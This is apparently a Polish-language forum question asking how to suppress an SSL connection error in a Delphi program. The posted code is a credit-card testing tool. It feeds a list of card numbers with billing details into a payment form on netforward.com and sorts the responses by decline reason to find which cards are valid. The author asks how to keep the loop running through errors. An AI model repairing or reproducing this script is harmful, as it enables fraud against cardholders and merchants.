Podczas dzialania programu dostaje taki blad: "Error connecting to SSL". Nie byloby wiekszego problemu gdyby nie to ze program zatrzymuje swoje dzialanie i musze uruchamiac wszystko od poczatku. Jest jakis sposob aby ten blad byl ignorowany przez program? Ponizej przedstawiam kod do ktorego odnosi sie pytanie:
procedure TMainForm.Button3Click(Sender: TObject);
var
count : integer;
item : string[16];
name : string[6];
count1 : integer;
Input, OutPut : TStringStream;
ErrorCode : string;
FSSL : TIdSSLIOHandlerSocket;
begin
FSSL := TIdSSLIOHandlerSocket.Create(Application);
Forum.IOHandler := FSSL;
Button5.Enabled := True;
Progressbar1.Position := 0;
count1 := -1;
for count := 0 to ListBox1.Count do
begin
if ListBox1.Count - 1 = ListBox1.ItemIndex then begin
Button5.Enabled := False;
break;
end;
application.ProcessMessages;
if Button5.Enabled = false then break;
count1 := count1 + 1;
ListBox1.Selected[count1] := True;
Input := TStringStream.Create('');
Output := TStringStream.Create('');
item := ListBox1.Items.Strings[count1];
name := item;
try
btnSend.Enabled := False;
Input.WriteString(Format('paymentoption=%s&bname=%s&baddress=%s&bcity=%s&bstate=%s&bzip=%s&bcountry=%s&type=%s&expm=%s&expy=%s&number=%s&2=%s&total_years=%s&total_aliases=%s&user=%s&expiration_date=%s&subtotal=%s&total=%s', ['cc', edtTitle.Text + ' ' + edtNick.Text, edtMail.Text, Edit1.Text, Edit2.Text, Edit3.Text, Edit8.Text, ComboBox2.Text, ComboBox3.Text, ComboBox4.Text, item, Edit8.Text, '1', '5', Edit9.Text, Edit10.Text, '10.00', '10.00']));
Forum.Post('https://www.netforward.com/gogogo.html?option=city&step=3',Input, Output);
ErrorCode := Copy(Output.DataString, 1, 40000);
Memo3.Lines.Add(Edit3.Text + ' ' + ComboBox3.Text + '/' + ComboBox4.Text + ' ' + ErrorCode);
if Pos('Declined:XXRP', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text + ' ' + 'Error XXRP');
if Pos('The host has been temporarily blocked', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text + ' ' + 'The host has been blocked');
if Pos('D:Declined:NNNN', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text + ' ' + 'Error NNNN - normal declined');
if Pos('Address comparison does not match, zip code does not match', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text + ' ' + 'AVS Error');
if Pos('Number did not match', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text);
if Pos('expired', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text + ' ' + 'Wrong date');
if Pos('D:Declined:NNNP', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text + ' ' + 'Error NNNP');
if Pos('Duplicate transaction', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text);
if Pos('D:Declined:XXRN', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text + ' ' + 'Error XXRN');
if Pos('X:Expired Card', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text);
if Pos('R:Referral (Center)', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text);
if Pos('D:Declined:YNAN', Output.DataString) <> 0 then Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text + ' ' + 'Error YNAN');
if Pos('Number did not match', Output.DataString) <> 0 then Memo1.Lines.Add(item);
if (Pos('D:Declined:YNAN', Output.DataString)) or (Pos('R:Referral (Call Voice Center)', Output.DataString)) or (Pos('X:Expired', Output.DataString)) or (Pos('D:Declined:XXRN', Output.DataString)) or(Pos('Declined:XXRP', Output.DataString)) or (Pos('The host you are ordering from has been temporarily blocked', Output.DataString)) or (Pos('D:Declined:NNNN', Output.DataString)) or (Pos('Address comparison does not match, zip code does not match', Output.DataString)) or (Pos('Card Verification Number did not match', Output.DataString)) or (Pos('expired', Output.DataString)) or (Pos('D:Declined:NNNP', Output.DataString)) or (Pos('Duplicate', Output.DataString)) <> 0 then Memo3.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text + ' ' + 'Known error')
else Memo2.Lines.Add(item + ' ' + ComboBox3.Text + '/' + ComboBox4.Text + ' ' + 'UNKNOWN ERROR');
finally
Input.Free;
Output.Free;
btnSend.Enabled := True;
end;
end;
end;